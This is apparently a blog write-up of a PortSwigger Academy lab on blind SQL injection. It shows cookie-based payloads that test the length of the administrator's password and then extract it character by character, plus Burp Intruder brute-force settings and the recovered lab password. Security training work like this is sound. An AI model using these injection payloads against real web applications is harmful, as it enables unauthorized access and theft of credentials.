Blind SQL injection with conditional responses - PortSwigger Academy
π Hello, Aspiring Penetration Testers!
Greetings, security enthusiasts! Today, I’m diving into an exciting SQL Injection challenge on PortSwigger Lab. This level focuses on medium-difficulty techniques, perfect for sharpening your web application security skills. Whether you're a beginner or a seasoned tester, there’s always something new to learn in the world of web vulnerabilities. Let’s break it down together! π
Let's get started :
This write-up for the lab Blind SQL injection with conditional responses is part of my walkthrough series for PortSwigger's Web Security Academy. Lab-Link: https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses
Difficulty: PRACTITIONER
In the example case, the cookie contains this content Cookie: TrackingId=qnLH78fKAPMJdjw7; session=lcaWJjxc1ubzKT0CsGu2nDEfePtHIni5
SELECT trackingId FROM someTable WHERE trackingId = 'qnLH78fKAPMJdjw7' and (select username from users where username='administrator' and LENGTH(password)=1)='administrator'--
Cookie content: TrackingId=qnLH78fKAPMJdjw7' and (select username fromuserswhereusername='administrator'andLENGTH(password)=1)='administrator'--
--> NO "Welcome back", the password is not of length 1
As an alternative, I can check with '>' instead of '='. It results in the "Welcome back" message meaning the password is longer than 1 character.
I Brute force the length with Burp Intruder (Sniper, Payload is '1' argument in query)
--> Password is exactly 20 characters long
Enumerate password of the administrator
Now that we have the length of the password, we can brute force each character individually. If the database would store a hash of the password, we could extract the hash for offline cracking.
SELECT trackingId FROM someTable WHERE trackingId = 'qnLH78fKAPMJdjw7' and (select substring(password,1,1) from users where username='administrator')='a'--
Cookiecontent:TrackingId=qnLH78fKAPMJdjw7'and(selectsubstring(password,1,1) from users where username='administrator')='a'--
We find out that the first character is not an a, but using Burp Suite Intruder this can be automated easily. With the free version, this is rather slow, but scripting it in python is not difficult either.
The first character is 'k'
Automate this
Now automate this for all characters, again using either Burp Intruder or a python script.
Attack type: Cluster bomb
Payload 1: numeric sequential, 1...20
Payload 2: Brute force (see above) - for real-life, add special characters
This results in these responses with the 'Welcome Back' message:
Reordering it numerically according to Payload 1 will result in the password: kdd113dnq7t34h70nhj7
With the credentials obtained I log in and the lab updates to :
π Thank You for Reading!
I truly appreciate you taking the time to explore my blog. Your support means the world to me! π✨ If you found this post insightful or helpful, don’t forget to give it a like π and follow for more content like this.
Let’s keep learning and growing together in the fascinating world of cybersecurity! π‘️π» Have any thoughts or questions? Drop them in the comments—I’d love to hear from you! π¬π‘
Thank you once again, and stay awesome! ππ
0 Response to "Blind SQL injection with conditional responses - PortSwigger Academy"
Posting Komentar